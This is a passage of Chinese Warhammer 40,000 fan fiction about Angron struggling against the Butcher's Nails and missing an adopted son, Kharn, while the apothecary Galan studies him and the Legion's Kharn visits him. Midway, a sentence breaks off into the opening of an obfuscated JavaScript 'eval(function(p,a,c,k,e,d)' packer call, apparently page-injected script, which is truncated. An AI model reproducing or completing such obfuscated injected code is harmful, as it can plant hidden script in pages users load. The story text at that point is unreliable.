+我不会听你指挥。+瓦瑞斯回敬道。+药剂师,你脱离军团太久,不知道我们战犬智库最擅长的灵能。记住接下来的事,我们的选择与你截然不同,日后你会为回想至此而羞愧得夜不能寐,一位高傲的战犬理应爱他的手足如爱父亲。+ 加兰:“什么意思?” +我的同袍们。+瓦瑞斯呼唤跟随他而来的智库。+现在正是检验你我誓言的时候。+ +我们一直都在,首席大人。+ 瓦瑞斯感觉到了一位语汇官传来的难堪情绪。他立刻安抚对方:+不要因为你战友的责怪而厌恶这种天赋。总有人要负责洗净血齿并收刀入鞘。+ +我会调整好自己……众兄弟总怀疑我往他们的心灵植入了什么,要求我拆掉他们大脑里的窃听器,实际上我还没那么强大……+ +你可以变得强大,只要我们链接在一起。+ +现在是怎么了?我们要对原体展开共融圣礼吗?+ +不。+ 瓦瑞斯吸收了众多同袍们的慌乱,冷静地将他们的心智收拢在自己的羽翼下。 他比他的同袍窥得更远也更有经验,已然知晓原体在忍受举世罕见的折磨。尽管他不知道因何而起,但此时智库确实比药剂师更适合接触原体——战犬智库在心灵方面有着更强悍的天赋。 原体的身影还没出现在众人面前,但瓦瑞斯已经感觉到了虚空中翻涌成一团粘稠的猩红混沌。那比他见过的所有沉迷杀戮的战犬心智加起来还要恐怖。 一段金属破碎的声音响起,仿佛某种野兽在咀嚼钢铁。瓦瑞斯听见了加兰低声呼唤了一句“原体——”,然后便是一个穿着动力甲的星际战士被甩到墙上的重击声。 “你们从来都不听话,一直在挑衅我。” 安格隆粗粝的声音仿佛蟒蛇般绕上智库们的脖子。 +冷静——如果他愤怒,那就让愤怒穿过我们的身躯——不可对原体有任何不敬行为。+ 这样安抚同袍的瓦瑞斯却无法解释以灵能窥见的景象。那东西没有任何可辨识的轮廓,仿佛是被硬生生捏在一起的血海。它正疯狂冲撞着无形的牢笼,每一次撞击都让空间泛起水波般的涟漪。 但在现实空间看,一个伟岸的身影出现在所有人视野里。安格隆褪去了罐头般的动力甲,坦荡地穿着类似角斗士的普通战铠。他手里抱着一堆工具和一大块板材,还夹着几根加兰的机械臂,不知是何用意。他的脸色极为冰冷,看向他们只有嫌弃。 瓦瑞斯在灵能视角与现实来回切换,不敢相信原体内心杀欲难填表面却能维持这般冷静。 安格隆看起来想无视他们,但他扫过离他最近的语汇官,金色的眼睛恍惚了一下,灵能视角中的混沌血团立刻发出无数细碎尖嚎。 +后退,语汇官。+瓦瑞斯冒出冷汗。+我们全部后退。+ 智库们沿着墙边站立,仿佛在避让一个看不见的庞然巨物。 “懦弱的崽子。”安格隆冷哼一声。 不少智库为他语气里的鄙夷而蒙羞。 然后安格隆与瓦瑞斯对上视线。 瓦瑞斯下意识想低头,却发现灵能已被那团混沌死死吸附,视网膜上烙印着无法消散的猩红,剧痛与恐惧交织成无法挣脱的网。现实中安格隆的神情从嫌弃转为无法掩盖的憎恶,瓦瑞斯几乎以为这次逃不过了。 但是没有,安格隆绕过他们,什么都没有做。 安格隆将板材堆在地上,抽出其中一块,便拎起锤子在墙上敲起来。 20.无法解答 在铛铛的锤子敲击声中,安格隆回想起看护一个疯子有多麻烦。 在他原本的时代,卡恩的心灵生了病。他拿着斧头劈碎了所有的家具,接着便往外面走,宣称要砍下所有人的头颅献给血神。安格隆以为他入了邪.教,苦心劝说,却不想卡恩直接拿斧头劈下来。无奈之下,安格隆收拾了他一顿。这让安格隆很长一段时间都被愧疚折磨。 但日子还要过下去,安格隆把仅剩的资产委托给珞珈后,便带着卡恩前往偏僻的乡村。在那里他买了一个带大院子的旧房子,可以让卡恩有更多活动范围,还能用自然风光调理心情。 他在一个卡恩还算平静的午后,开车载卡恩去他们的新家。原本的邻居看着他们的车离去,纷纷讨论起他们听来的拳击手一家的八卦,可怜的大学生养子突然得了疯病,也不知道是不是其养父拳击手的暴力所致。话还没说完,熟悉的车便倒着开回来。安格隆摇下车窗,用粗俗的语言羞辱了他们全家。 安格隆怒气冲冲地将车开到公路上。为了不让自己的脾气影响到卡恩,他决定想想新家的事。 要安装隔音装置,不然会被邻居投诉。 要把所有光线隔绝,因为卡恩不喜欢见到光。 要去除多余的家具,不然你不知道什么时候卡恩手里多了把斧头。 要把餐桌焊死,把餐具上锁,把所有窗户换成防弹玻璃。 要记得在家具被破坏后及时维修一切,要让那里像个新家而不是关押所。 安格隆从中央后视镜观察旁边的卡恩。他正撑着脸看窗外的人群,像是第一次认识世界,任由车水马龙的影子透过玻璃映在他脸上,又缓缓流过。他看上去和过去那个安静的养子是那么相似,安格隆几乎以为卡恩生病只是一场幻觉。 然而没有,卡恩一开口就问道: “你要把我送去笼子里?” 安格隆猛地刹车,朝前方不知死活的车辆按了几下喇叭,才缓慢开车绕过去。 “没有笼子……那是我们的新家。”安格隆时不时从后视镜中瞥向卡恩,尽可能温柔地说,“我只是不想失去你。” “果然是巫师的陷阱,我绝不会绕过你们!”卡恩突然咬牙切齿地说道,“你错了!安格隆不会这样说话!没有人比他对子嗣更残忍!” 安格隆不敢置信地再度急刹车,扭过头质问:“残忍?我对你?” 副驾驶上的卡恩歪头露出一个挑衅的笑容,像是等待已久。安格隆数次欲言又止,最终却只郁闷地拍了拍方向盘,满脸憋屈地重新启动车辆:“算了……” “幻影,你刚刚想干什么?”卡恩却凑过来。 安格隆:“系好你的安全带。” 卡恩露出些许失望,若有所思地回忆:“他从来不忍着。他给予什么,我们就接受什么。” 安格隆冷淡地说:“闭嘴卡恩。” 卡恩喃喃自语:“这句话就很像他。” 安格隆:“早知道就不说话了。” 然后他们在一路沉默中来到了偏僻乡村的新房子。房子已经装修好了,但用来给卡恩活动的院子杂草丛生,刚搬进去那几日安格隆每天都在除草。 卡恩站在窗后阴仄仄地盯着他。安格隆试图找个让大家开心的话题:“等这里清理完你就能出来走走了,我们可以在这种棵果树……一棵苹果树?听起来很有童话氛围。” “不要这样对我……”卡恩每说出一个单词都仿佛用尽力气。 “你只是病了,需要休息而已。”安格隆小心翼翼地绕过那些可能使他们两个都发怒的词汇,比如说“父子”“血缘关系”“钉子”之类的。 “安格隆不会这样说……”卡恩看上去像被抽干了精力,眼底只余疲惫,“你应该把我锁起来……” “为什么?”安格隆不理解。 卡恩停顿半晌,忽然体内涌出浓烈的悲伤,让那个死气沉沉的灵魂在万针穿心的刑罚中活过来。他痛苦地承认: “因为我把你锁起来了……” “你没有这样做。”安格隆想起心理医生说过的病人可能有臆想征兆,会编撰出不存在的事实,他最好及时引导卡恩看清现实。 因此他对卡恩说:“自从你我相遇,我们就一直生活在一起。我们谁也不是谁的囚徒,我大概不是个好父亲,但你从来没有伤害过我,从来没有。我们、我们,只是普普通通的、一家人。” 卡恩脸上露出熟悉的崩溃。一个星期前他只要睁眼看见安格隆就会开始崩溃,那不是简单的歇斯底里,而是过往人生信条完全崩坏的支离破碎。医院的心理医师严肃地旁侧敲击他是否有过虐待养子的行为,警察在他家里翻箱倒柜来回取证,安格隆都快以为自己分裂出二重人格做了坏事。 今天安格隆以为他好些了,可是没有。卡恩看着他,满怀悲伤地看着他,脸上的麻木如被暴雨冲刷的土墙般开始剥落,嘴角微微抽搐,眼角的肌肉不受控制地颤抖,整个人都开始哆嗦。他们都能感觉到“卡恩”正在四分五裂,露出一个破碎哀嚎的灵魂。 “你不是安格隆!!”卡恩愤怒无比地锤向窗户。高价买回来的防弹玻璃霎时出现蛛网般的裂纹。 “我……”安格隆完全不知道怎么解释。 “不!不要这样对我……”卡恩的拳头从窗边滑落,他跪倒在了窗边,传来细碎的呜咽声。难道卡恩在哭吗?难道他真的做了让卡恩痛恨至此且无法原谅的事吗?他究竟做错了什么? 安格隆没想明白,但他的心一直为此疼痛。 …… 锤子敲击声“铛铛”地在长廊回响。 安格隆没想明白卡恩身上的很多谜题,就被不可知的命运传送到这里了。他后知后觉许多寻常生活的片刻也不会再回来,所有的一切都成为了伤疤。 如今他住进了“笼子”里,一些自称是他子嗣的战士成了他的看护人,他不清楚这些子嗣是否和当初的自己一样痛苦。 但把这些痛苦传递给他人毫无价值。 得益于看护卡恩的这段经历,安格隆学会了很多维修家具的技能。他也习惯了自家破坏的东西要自己修好。让那些自称技术军士的战士来总感觉不太踏实。所以他自己找来了比较坚固的板材,一锤一锤地将它们钉在损毁的外墙。 刚才他还薅走了加兰的机械臂。他把它们扭成麻花然后放进墙壁缺口里,就像一个朴实无华的装饰。 他后退几步看了看,感觉自己的审美还不错,新的“住所”总算修好了。他后退的这几步立刻让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“所以呢?”安格隆真想让这个矮子巫师别往前了,每一步都踩着他的神经蹦跶。可身为父亲的自尊让他闭口不言,只能假装无所谓地甩了甩锤子。 瓦瑞斯:“我在您身上看见了足以焚烧凡世的怒火,非漫长而无休止的屠杀不足以平息。”他依旧在不停地切换灵能视角和现实视角,每切换一次脸上的困惑便多一些。 “你们想问我为什么现在还不动手。”安格隆为这个愚蠢的问题大笑。笑声回荡在长廊里。但瓦瑞斯的神情太茫然,仿佛真的看见一个震惊世界的谜题似的,以致于他都忍不住顺着思考。 如果他被逼到弹尽粮绝,比如穿越到一个一百活一的绝命角斗场,那为了生存而杀人可以接受。 可是现在显然不是。拥有杀戮的渴望,与真正地夺走他人性命,具有本质上的天壤之别。杀人与杀异形,也是截然不同的事情。他只是脑子多了个奇怪的装置,又不是天生的杀人狂魔。 为什么现在还不杀人,这到底算个什么问题呢? 安格隆都要被瓦瑞斯搞糊涂了。 “因为我不想。”最后安格隆低头对瓦瑞斯说,“没人能逼我。” 瓦瑞斯再度往前一步。这回他丧失了所有会被原体击倒的害怕,也接受因此导致的所有可能。因为接下来这件事比他的生命还要重要。白色的灵能在他眼中燃烧,替他切换成灵能视角,他只想看清楚一件事。 ——他想看清在那混沌血团下,真正属于安格隆的东西。 21.屠夫之钉 突然,瓦瑞斯双眼流出鲜血,“哐当”一声倒下。 安格隆顿住身形,与墙边年轻的智库们大眼瞪小眼。 他犹豫地把手伸向瓦瑞斯,可脸上的肌肉因为钉子的撕咬而不自然地拧在一起。他吃痛地按着自己的太阳穴,朝智库们挥挥手:“滚去找药剂师。” 智库们立刻化身担架队把首席智库抬走。 安格隆转身走进漆黑的无光大厅,进行新一轮与钉子的对抗。 第二天,机械贤者维尔·赫雷达前来觐见安格隆。他是一个为了探寻机械奥秘不顾一切的家伙,一眼就看出了屠夫之钉恐怖的侵略性,直言不讳想研究原体头上的机械造物。安格隆把他团起来扔走了。 等安格隆离开后,加兰·苏拉克默默出现,命令一群机仆把贤者搬回锻造室,并在本子上写写画画记录些什么。 第三天,安格隆所在的大厅门廊迎来一群新的不速之客。 他愤怒地推开门,大门不堪负重地倒地。安格隆忍不住懊恼又要修东西。然后他便看见了那群找死的家伙,那竟是一群拿着装修器材的奴工。他们对原体的愤怒毫不知情,按照既定的命令给损毁的外墙重新雕刻花纹。 安格隆对奴工们总有些回避的心理作祟,没有动手。他意识到这群奴工背后必定有人指使,于是他在附近搜寻,最终揪出了加兰·苏拉克。 “这三天的人都是你指派来找我的?”安格隆一把抓起加兰背后的机械臂,如同猎人拎着野兔的耳朵。 “怯懦的家伙,迫不及待地来找死?”安格隆把加兰拎到半空晃了晃。他刚开始还以为加兰只是个路过的药剂师,没想到竟小瞧了对方,战犬中原来也有如此心机深沉之人。 加兰早猜出安格隆会抓他的机械臂,所以他新装的机械臂没有任何功能,仅为装饰。他在半空中淡定地拿出传统的纸笔,写下今天的原体观察记录。 安格隆有些惊讶,又晃了晃加兰。加兰的动力甲抖出许多药剂师妙妙小工具。 “原体大人,请原谅我。”加兰手抖着写完日志的抬头,便对安格隆说道,“我们都是在做一样的事情。您在忍耐屠夫之钉的催促。而我也在观测您和屠夫之钉的极限。” 他花三天时间,分别找了智库、机械贤者、奴工,三种不同的人群来测试安格隆的反应。安格隆不肯接受药剂师扫描没关系,医学的真相已经藏在原体的一言一行中,药剂师需要做的是从蛛丝马迹中抓住真相。这是加兰从第三军团那里学来的知识之一。 “屠夫之钉?你们这样称呼它?是觉得我因为它才会变成屠夫吗?”安格隆的笑声变得残忍,简单的杀戮已经无法满足饥渴的钉子了,大脑的嗡鸣声催促他将加兰折磨致死。 安格隆忽然猛地摇摇头,然后才恶狠狠地对加兰骂道:“你倒是一副老学究的口吻,可我最恨这种人。你们总想着给我冠上些充满专有名词的疾病,用一些学术理论剖析它的存在,恨不得把所有痛苦的遭遇罗列成与之相关的后遗症。但你们连一分一毫的痛苦都未曾体会过!就在那里矫揉造作地宣称那是你们发现的病!” 他的声音越来越像怒吼,野兽的吐息喷洒在加兰脸上。 加兰分外冷静,他的眼神好像看穿了一切:“尽管您的怒火不是冲我来的,但我接受这一切。” 安格隆想起了半年前也有这样一位冒昧的士兵站在他面前,说着相似的话,一瞬间没有了折磨他人的兴致。反正他最后也不可能真的宰掉眼前这个药剂师,何不跳过中间那些怒吼质问的环节直接滚呢?他把加兰·苏拉克随手一抛,对方撞在墙面上软绵绵地滑下去。 安格隆沮丧地沉下双肩:“你们真恶心……” 加兰却没有放过他,迅速站起来,一边拿着纸笔记录一边说道:“根据首席智库给的资料。我认为原体您具有灵能,而屠夫之钉是一件显而易见的具有反灵能属性的装置,所以它会让您加倍痛苦。” “你说我是个巫师?”安格隆难以置信地反问。 “子嗣是父亲的一面镜子。”加兰说道“我前天才知道,战犬智库具有特殊的心灵感应手段,可以敏锐地感知他人的情绪。因此……您很可能也拥有同样的天赋。” 他回想起与瓦瑞斯不愉快的交流。首席智库空有实力,却根本奈何不了他,他总是能获得自己想要的情报。原体也一样,他会一点点摸索到原体的边界。 “变成那种鬼样子我还不如直接去死。”安格隆厌恶地皱起整张脸。巫师就是一种软弱的存在,唯有拳拳到肉的战斗才值得敬佩。 他摸了摸自己头上的屠夫之钉,并不安地重复那个动作。钉子一直在啃咬他的理智。 加兰仔细地观察他的动作,忍不住露出对原体与生俱来的敬畏。 “如果杀戮能让您减轻痛苦的话……”加兰轻声说道,“我们有一部分舰队正在对下面的星球进行扫荡。他们会很欢迎您去带领他们。” “不!!”安格隆猛地将墙壁上的旗帜装饰全部扯下来,“我才不会听它的命令!!!” 突然。 安格隆周围的世界停滞了。 薄雾般的猩红丝丝缕缕地漫过他的视野。一直以来在颅骨深处疯狂嗡鸣的屠夫之钉,此刻竟然乖顺得仿佛从未存在过。那些烧红的铁钉被猛地抽离脑干,留下短暂的空白,残留的钝痛还在使太阳穴突突跳动,却再无半分催促。 安格隆的大脑从未有过这般诡异的安静。所有狂躁的杂音被瞬间抽空后,世界的声音便骤然响亮起来。他听见了自己风箱般的喘气声,听见了胸膛里强壮有力的心跳声,听见了原体那富含能量的血液在血管里奔涌不息的声音。 “哈……” 安格隆茫然地捂住耳朵。他面前的加兰·苏拉克还活着,只是在用安格隆看起来极慢极慢的速度做出惊讶的神情,仿佛和他活在不同的时空里似的。 屠夫之钉竟然真的安静了。 可安格隆不感到轻松,他此刻像被掐断了喉咙的野兽,所有的哀嚎被这突如其来的平静困在躯壳之中。他困惑不解,近乎恐惧。 ——它安静了? ——它竟然真的安静了。 ——这可能吗? 它们安静了,它们隐匿了。他的心灵深处随之空出一片虚无的旷野,过去被经年累月的怒火折磨的心灵空间逐渐舒展,用以容纳那些以往弃若敝履的感知。 安格隆的视野随即升高、升远。他恍若宇宙间脚踏星晨的巨人,静静地俯瞰着整艘坚毅决心号。偌大的荣光女王级战舰变得如此渺小,仿佛他手中的玩具。 一些宁静而温和的情感从战舰内部滑进他的灵魂。安格隆感觉到了那是不讲道理、深入血脉的爱,他仿佛回归到静谧的山洞之中,同时被自由的野风,以及一种令人满足的安全感包围着,他们都静静地坐在自己身边…… 可这宇宙中没有绝对的好事,论好事也不会让安格隆遇见。他感知到爱了,随之而来的却是……这战火燎原的宇宙发出的无数尖啸! 链锯剑绞碎骨骼、爆弹枪轰穿胸膛,四分五裂的疼痛蔓延进安格隆的身体里。濒死嘶吼被血沫泡得模糊的含糊声、被高温灼成焦炭的闷哼,哭泣不止的绝望哀求声,震得安格隆的大脑都要为此破裂。无论什么战场,什么物种,血腥气在现实宇宙与亚空间的暧昧处交织翻涌,化作一把把钝刀,切割着安格隆的心灵。 他感觉比拥有屠夫之钉时更沉重、更痛了。 霍恩的声音穿透重重帷幕如幽魂般缠上了他。 ——安格隆!我给过你机会了,可你一直在逃避。体会到了吗?没有了钉子!你就是如此软弱!连看见别人被杀都会流泪。你难道想成为这种软弱的样子吗? 安格隆不明所以,只能摇头拒绝。 ——当然你依旧是独一无二的……你比其他人更有理解我权柄的潜力。你终会明白的,钉子是一种让战场双方都变得平等的赐福,战争因钉子变得纯粹。 那一瞬间安格隆眼前闪过他子嗣的身影。他们在战场上厮杀,可安格隆并不感到荣誉。他们每个人都是战争的发动者,都是刽子手,都是一张张披着流脓的人皮。他尽力避免的杀戮于他们而言稀疏平常,他忍耐的怒火是他们前进的利器。可无论是哪个物种杀人与被杀,它们的痛苦是等质的,都在安格隆心底狠狠划上一刀。 安格隆额头布满冷汗,他扶着墙,不停地干呕着,想把硬塞进他心灵里的秽物给呕出去。 “好恶心……”安格隆神志不清地评价,他自己也不知道在骂谁,“恶心的家伙……” “其实,我对你是有一点失望的。”霍恩的声音却一直甜腻地绕着他,“当初招你进来,给你赐名红天使,是希望你至少8天内能献上一场盛大的颅骨盛宴,你瞧瞧现在都过了多少天了……” 安格隆闭紧眼睛,指头摸上了头皮上的屠夫之钉。他狠狠按下去,过往的血痂被刮落,流出殷红的新血。 但预想之中的嗡鸣声没有出现。安格隆咬紧牙关,过了好一会儿才恍惚地呢喃道:“让它响起来……” 霍恩却没有理会他。 “让它响起来!!!”他朝空气怒 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加兰飞快地记录原体说的每一句话。每个与众不同的词汇都在他心底撞击出激荡。 安格隆:“我们总会为各种各样的理由掀起战争,有人因荣誉而战,有人因财富而战。可人们往往重视这战争开端的理由而多于重视战争本身,战争成了他们成就人生理想的垫脚石,这是不对的。战争作为杀戮的集大成者,本就可以没有理由地诞生。” 安格隆转身,将手放在加兰的肩膀上。浑浊的黄瞳晦暗不明,但仍然足以让他心悸。 加兰的脊背渐渐紧绷,仿佛又回到了刚成为药剂师接受老师指令的那一天。现在,他作为子嗣,将践行父亲的所有指令。 安格隆:“钉子会剥离一切不需要的同理心,怒火会把所有文明的不文明的一视同仁地烧毁,钉子让一切变得公平。” 安格隆:“让战争只因其本身而永不停息。” 安格隆:“让血成为血,让杀戮只是杀戮。” 加兰认真地聆听着。在一周目的故事中,他正是如此深信这般理论,最终研制出低配版屠夫之钉,将其推广至全军团,让整个军团向更纯粹的方向进化。在此时此刻,他的命运几乎要和一周目重叠了。 然而,命运又巧之又巧地发生一些微妙的改动。血神的低语终究无法长时间穿透现实帷幕,蔓延在安格隆视野里的血色渐渐消退。安格隆嘟囔了几句英语,呸出满口的血。他刚刚讲了太多话,不小心把舌头和口腔内壁都咬破了。 安格隆不在意地抹去嘴角的血迹。钉子一直在咬他,把他的大脑都搅乱了。但最恐怖的尖啸已经忍过去,他感觉现在好受多了。 他看向加兰,想起他刚刚对这位药剂师说的话。他也不清楚那些是不是他的想法,总归那些语句藏在他心中,他顺势说了出来而已。这不妨碍他接着说下去: “可恶的钉子抢走了很多东西。但是……也有钉子带不走的东西,我一直好好守护的东西。” 加兰·苏拉克的命运拐了个小弯。他几乎要认同原体之前说的话了,现在他只能困惑地抬起头。 “那就是……” 安格隆脑海中浮现出一个高山上的陌生山洞,大雪与红砂混合着,他就坐在这片红砂中央,身侧依偎着几个朦胧的虚影。他们的轮廓被萤火晕染得柔和,看不清面容却能感受到熟悉的气息。没人开口说话,只是彼此肩膀抵着肩膀,任由自由的风掠过脸颊。 安格隆几乎要将某些名字呼之欲出,然而他想不起来,这幅从未见过的虚影场景渐渐扭曲,从他记忆中褪色,取而代之的是现代化的城镇街道。 小时候的卡恩神情严肃地跟在他身边,脸上还有被揍的青紫痕迹。安格隆则拎着一大堆廉价临期食品。那时他们刚刚认识,正走回安格隆那个小小的出租屋。安格隆一边撕开食物包装递给卡恩,一边教卡恩如何应付敏感多疑的房东。到时候就说卡恩是安格隆十七岁时搞出的孩子,现在跑来找他要抚养费,记得喊他“dad”别露馅懂了吗。 小时候的卡恩一边啃面包一边点头。 “卡恩……”安格隆伤感地说,“我想他了。” 加兰好像被某种宣言冲击到了,神情连同大脑一片空白。 过了半晌,他才说:“原来如此。” 加兰在笔记上写下最后的结论。他收起纸质笔记,郑重地对安格隆点头:“我已经理解您的想法,我会为您做到的。” 22.集结号 “加兰·苏拉克!你疯了吗!这里可是前线!”卡恩将链锯斧杵在一旁,脱下染血的头盔。身旁数道高温激光闪过,将前方的山丘巢穴炸为平地。隐匿其中的异形顿时作鸟兽飞散。 在原体回归的这段日子里,坚毅决心号舰队一直在执行不同的歼灭任务。泰拉派给他们的任务通常不会太复杂。正如坚毅决心号下方这颗星球,它有着丰富矿藏,但上面住满了异形。好处是没有人类居住的迹象,唯一的类人物种因智力缺陷已经被划分为异形。所以十二军团只要杀光上面所有的生物就好了。之后的殖民事项自然有其他部门负责。 卡恩这几天过得有些郁闷。 一天比一天多的军务,看得头晕眼花的军团细则,加倍难管的战犬;一些连队看不惯八连,频频与他手下的士兵起冲突;一些军官仍然觊觎着原体侍从的位置,总是半路拦下他发出挑战;基尔会帮他一点,却绝不肯带领他手下的一至七连替卡恩站台。连首席智库也跑来他面前阴阳怪气——他哪里得罪过智库了? 现在他来到扫荡场上发泄怒气,结果加兰·苏拉克却空降地面、横跨整个战场,来到他面前说把他抓回去见原体。 加兰抽出爆弹.枪,瞄准远方将准备偷袭的异形炸个粉碎:“我也是一名阿斯塔特,出现在战场乃应尽的本分。” 药剂师的动力甲除了配备基本武器装置,右肩有如十字架撑起的药剂针仪仗,背后还有一整套与动力背包相连的医疗复合装置,锯子、针剂、手术刀从机械臂的末梢延伸。从上面的染血程度来看,这些医疗工具也是杀敌的一把好手。 加兰:“我不想在您身上浪费麻醉剂,所以请您赶紧动身。” “等等,你总得和我说明一下情况。”卡恩忍不住想卡利博斯把加兰塞到自己小队是不是一种报复,“你去见父亲了?他怎么样了?” “我去见原体了。”加兰意简言赅地说,“然后原体说想要见你。” 卡恩:“然后呢?” “原体想要,原体得到。”加兰翻开自己为安格隆定制的病历本,上面密密麻麻都是字,“这就是我的行医准则。” 卡恩确实归心似箭,但他忍住了,继续盘问道:“父亲有没有说别的东西?他真的想见我吗?他原话是怎样的?” “卡——恩——”加兰对八连长露出微妙的不耐烦,“我——想——他——了——原体就是这么说的。还要我翻译吗?或者我帮您看看您的耳朵?看看大脑也行。” 加兰以为八连长理应欣喜若狂,他不敢想象这种殊荣落在别的战犬上,那位战犬会如何欣喜痛哭,说不定要求他把原体的录音交出来——加兰确实录音了,等着待会儿拿捏卡恩——但卡恩的反应怪怪的,加兰意识到自己的录音白费了。 卡恩目光看向别处,握着链锯斧的手紧了又松。他有些失魂落魄地说道:“他想念的可未必是我。” …… 卡恩尴尬地行走在舰船甲板上。 他知道安格隆在想的“卡恩”不是他。他和父亲之间……还没有那么深的羁绊。 可他还是来见安格隆了。 基因的纽带将他们越扯越近。 卡恩长叹一声,有些自暴自弃地想,安格隆最好赶紧把“卡恩”忘了然后安心在军团过日子吧!他就当不知道原体的过去。再说了“卡恩”只是养子,他可是亲生的。十二军团以后会给安格隆十几万的狗崽子,通通流着安格隆的血,这都不能替代养子吗? 走着走着,卡恩难免想到,如果那个“卡恩”有一天找上门…… ……其实只要“他”不破坏安格隆与军团之间的联系,那卡恩也可以接受对方。他一向对兄弟十分宽容,对原体更是满怀敬爱。来一个养子他笑纳一个,来一双他笑纳一双,总之原体的过往他通通笑纳了。 卡恩抱着笑纳百川的精神给自己鼓劲,忐忑不安地靠近原体所在的长廊。 安格隆也很尴尬。 他脑袋不痛了、大门也不想修了,急得在大厅团团转,思索如何应付马上到来的卡恩。他刚才怎么就没拦住加兰?加兰不会真的去找卡恩还转述他的话吧?不会吧! 他不想把两个卡恩混为一谈,那是对两个人最基本的尊重…… 可是两个卡恩简直一个模子印出来的,外表一样性格一样对他的态度还是一模一样!看久了这个时代的卡恩,安格隆内心产生了可怕的移情效应。 他不想这样,于是在原体回归典礼后让卡恩自己忙活去,别来烦他。他才总算度过了三天见不到卡恩的日子。 可是72个标准泰拉时还没过完,他又说了什么蠢话?他竟然对一个药剂师说他想念卡恩,还忘记阻止对方去找卡恩。他究竟在干什么蠢事?钉子把他的智商都拉低了吗?卡恩听见后会怎么想?他会来找他吗? ……卡恩肯定会来找他。 那之后,他又要和卡恩说什么呢? 难道要告诉卡恩,他其实想念的不是这个时空的人吗? ……他不想做一个混蛋。 他们之间经历得太少,没有可供畅谈的美好回忆。他们只是一对空有基因纽带而无情感链接的奇怪父子。 他已经听见卡恩的脚步声出现在长廊尽头,相遇的命运避无可避。关键时刻大门还坏了所以还不能用“假装不在”这一招。他必须得想点接下来能消磨时光的话题。 卡恩越走越近,安格隆心乱如麻又大脑空空,幻想着卡恩会不会突然被一些急事喊走。可脚步声一直没有停下,如他早就模拟了数遍的场景,卡恩出现在了大厅门口,给安格隆的幻想来个迎头痛击。 “父亲……”卡恩开口道,眼中掠过期盼的光芒。他以军姿站定:“听说您找我。” 安格隆僵硬地转身,目光扫过卡恩,又飞快地移向他处。 他什么话题都想不出来。 他不知道对卡恩有什么好说的。 尴尬在两人的沉默间发酵,像一场蔓延的毒气。他们都心知肚明安格隆想要的“卡恩”是谁,却硬要维持着父子的和平表象演下去。奇怪的血脉将两人都捆绑在原地。卡恩感到无地自容,却无法动弹。 “我……”安格隆艰难地开口,“我听说这支舰队在打仗。” “是的。”卡恩深吸一口气,迈步走进大厅。他不想管那么多了,他只是想走到原体身边。 他从记忆中搜刮出其他军团与原体相处的模样。他亲眼见过的原体不多,唯一目睹过的是佩图拉博和钢铁勇士们的相处。钢铁勇士们会用精准、详尽、严谨、确切的语句向第四军团之主汇报战场情况,第四军团之主总是吝于表达自己的满意,但卡恩猜测原体应该是喜欢这样。这至少是个不踩雷的选项。 他在安格隆身边站定,他喜欢这个距离。他努力地、诚恳地将复杂的战场情况编成一篇带着钢铁勇士风格的汇报,希望博得原体满意。可他看见安格隆兴意阑珊的表情,就知道自己失败了。 安格隆听着充满数字与坐标的汇报,心里其实悄悄松了口气,当上司下属总比当父子简单。可他心里仍然空落落的。阿斯塔特比原体矮得多,从他这个角度看,这位士兵真的很像小时候的卡恩。 卡恩凭借优秀的军官素养汇报完毕,心早就跑远了。他不想离开,只能绞尽脑汁想别的话题。正当他考虑要不要在原体面前告状时,安格隆的声音传进他耳朵里: “你遇到困难了?” “没有,父亲。”卡恩第一时间否认。 安格隆沉默不语。半晌后,卡恩窘迫地承认:“我的一些兄弟……对我的命令多有抗拒。但是父亲,他们并不是不听从您的指挥,他们只是不服我。”自揭短处让他感到羞耻,他不想承认自己的能力达不到安格隆的期许。 但出乎预料的是,安格隆没有责备,只是用沉稳的声音问道:“那你接下来打算怎么做?” 卡恩感到他和原体之间的氛围变得奇怪了,变得让他安心,他好像更敢于说话了。他不清楚这变化是好是坏。 他想了想,坦然道:“我会用更多的角斗获取认可。”角斗场是安格隆带给军团的第一项习俗,现在大家都很热衷这件事,催促着建筑工人赶紧把新的角斗场建好。卡恩在首次角斗中获得了许多战犬的认可,他认为这是一条可复现的路径。 “那你要揍的人有点多。”安格隆如此评价道。“军团里还有你揍不过的人呢。” “那我……”卡恩迟疑道,“再练练?” 阴影中,安格隆似乎短促地勾了勾嘴角。 他再也忍不住了,伸出手摸了摸卡恩的脑袋。此刻军团没有打屠夫之钉,所以卡恩留着短短的黑发,摸上去刺刺的。卡恩一瞬间懵在原地,奇怪的战栗感蔓延全身。 安格隆摸了个爽。虽然很俗套,但对抗命运的终极武器当然是爱。他的心情平静许多,于是抽空想了几秒管理军团的办法。他对卡恩道:“你不能强迫你的兄弟们像你一样规矩,至少现在不能。若他们守护着自己的凶性,一定有他们的道理。” 卡恩强迫自己平静地思考,自我怀疑地问道:“那我要对他们怀柔?” “只有奴隶主才会用这种手段,你们是平等的兄弟。”安格隆语气稍微严厉了些,“抛弃所有战术,和他们一起冲锋一次,感受他们最深处的凶性。之后你们会理解彼此,并团结在一起。” 卡恩毫不怀疑安格隆的安排。无需任何帮助,原体最能理解他的子嗣。但他还有些困惑:“单纯的冲锋可能会遗漏敌方目标。” “去找萨林舰长。”安格隆不满道,“她的船在干什么?这几天是不是一炮都没有开?让她在你们队伍后面直接轨道轰炸支援你们。” 卡恩很快理解了安格隆的用意。洛塔拉·萨林和他一样是被原体越级提拔上来。从权力的角度看,他们是天然的同盟,省去了许多沟通成本,洛塔拉绝对会尽心尽力帮他。至于洛塔拉虚空支援的技术怎么样,配不配她的地位,能不能让其他人闭嘴,实战后自有分晓。 “至于其他连队……”安格隆一一回想起第九连到第十八连的代表人物,他其实记得所有人的名字。这十支连队的脾性各异,不过……“权力不是来自于个人,而是来自于团体的支持。你打败他们连长十次也没用,去找你的连队帮你。” 这话便戳到卡恩的伤心之处了。他最近最大的挫败感都来源于此:“我会尽力做到的,在我学会如何指挥自己小队的药剂师之后。”他忍不住对自己讲了个不有趣的笑话,强迫自己坦然面对自身缺点。 “加兰?”安格隆想起典礼上加兰是跟着卡利博斯一起汇报,问道,“他是卡利博斯推荐给你?” 卡恩点点头。每次从安格隆嘴里听到其他战犬的名字总让他心头有些异样,他一直以为原体不在乎他们,可原体又好像轻而易举地从脑海里抽出他们的资料。这究竟是原体的天赋,还是他也把他们放在心上呢? “那你就去找卡利博斯,把所有不懂的东西问个明白。”安格隆道。 